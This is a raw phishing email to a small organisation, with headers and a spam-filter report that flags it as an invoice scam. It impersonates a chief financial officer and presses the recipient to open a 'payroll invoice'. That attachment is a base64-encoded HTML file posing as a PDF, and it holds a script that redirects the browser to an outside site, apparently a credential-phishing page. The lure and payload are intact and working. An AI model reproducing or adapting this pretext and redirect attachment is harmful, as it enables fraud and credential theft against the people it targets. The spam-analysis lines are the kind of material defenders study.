Return-Path: Delivered-To: info@tictactocsaintcanut.com Received: from cl-t211-187cl.majeunesse.ca by cl-t211-187cl.majeunesse.ca with LMTP id iDpDE2P49WPiZAAAV5eKQw (envelope-from ) for ; Wed, 22 Feb 2023 06:11:31 -0500 Return-path: Envelope-to: info@tictactocsaintcanut.com Delivery-date: Wed, 22 Feb 2023 06:11:31 -0500 Received: from vmi387986.contaboserver.net ([164.68.115.69]:35070) by cl-t211-187cl.majeunesse.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from ) id 1pUn24-0006ia-0T for info@tictactocsaintcanut.com; Wed, 22 Feb 2023 06:11:31 -0500 Received: from User (localhost [127.0.0.1]) by vmi387986.contaboserver.net (8.15.2/8.15.2/Debian-10) with SMTP id 31MB3vTZ007856; Wed, 22 Feb 2023 12:03:59 +0100 Message-Id: <202302221103.31MB3vTZ007856@vmi387986.contaboserver.net> From: "Allison Pearson, Chief Financial Officer" Date: Wed, 22 Feb 2023 11:04:34 -0000 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0056_01C2A9A6.556A8370" X-Priority: 1 X-MSMail-Priority: High X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Spam-Status: Yes, score=12.4 X-Spam-Score: 124 X-Spam-Bar: ++++++++++++ X-Spam-Report: Spam detection software, running on the system "cl-t211-187cl.majeunesse.ca", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Hello, Kindly check the invoice for more info about the recent payment. The remittance is in Microsoft Sharepoint file HTML format, if you are unable to open the attachment, you will be required to download a PDF viewer from your App store or other resource. Content analysis details: (12.4 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 NSL_RCVD_FROM_USER Received from User 1.2 MISSING_HEADERS Missing To: header 0.0 T_SPF_PERMERROR SPF: test of record failed (permerror) 1.5 KAM_HTMLINVOICE BODY: Invoice scam 0.0 T_OBFU_HTML_ATTACH BODY: HTML attachment with non-text MIME type 0.0 FSL_NEW_HELO_USER Spam's using Helo and User 3.4 MSOE_MID_WRONG_CASE No description available. 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 1.5 KAM_DMARC_QUARANTINE DKIM has Failed or SPF has failed on the message and the domain has a DMARC quarantine policy 0.0 AXB_XMAILER_MIMEOLE_OL_024C2 Yet another X header trait 0.0 T_HTML_ATTACH HTML attachment to bypass scanning? 0.0 T_OBFU_ATTACH_MISSP Obfuscated attachment type and misspaced From 2.0 FROM_MISSP_EH_MATCH From misspaced, matches envelope 0.0 TO_NO_BRKTS_MSFT To: lacks brackets and supposed Microsoft tool 2.8 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook X-Spam-Flag: YES Subject: ***SPAM*** New Payroll Notification This is a multi-part message in MIME format. ------=_NextPart_000_0056_01C2A9A6.556A8370 Content-Type: text/plain; charset="Windows-1251" Content-Transfer-Encoding: 7bit Hello, Kindly check the invoice for more info about the recent payment. The remittance is in Microsoft Sharepoint file HTML format, if you are unable to open the attachment, you will be required to download a PDF viewer from your App store or other resource. Allison Pearson, Chief Financial Officer Payroll Administrator ------=_NextPart_000_0056_01C2A9A6.556A8370 Content-Type: application/octet-stream; name="Payroll invoice_1208881-pdf (2).HTML" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Payroll invoice_1208881-pdf (2).HTML" 77u/PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KIHdpbmRvdy5s b2NhdGlvbi5ocmVmID0gImh0dHBzOi8vd3d3LnBvbnRvZGVzaWduYXJ0ZXMu Y29tLmJyL3NraW4vYWRtaW5odG1sL2RlZmF1bHQvZGVmYXVsdC94bWxjb25u ZWN0L1BPXzEwMTA0MjMyNzI2VUsvIjsNCjwvc2NyaXB0Pg== ------=_NextPart_000_0056_01C2A9A6.556A8370--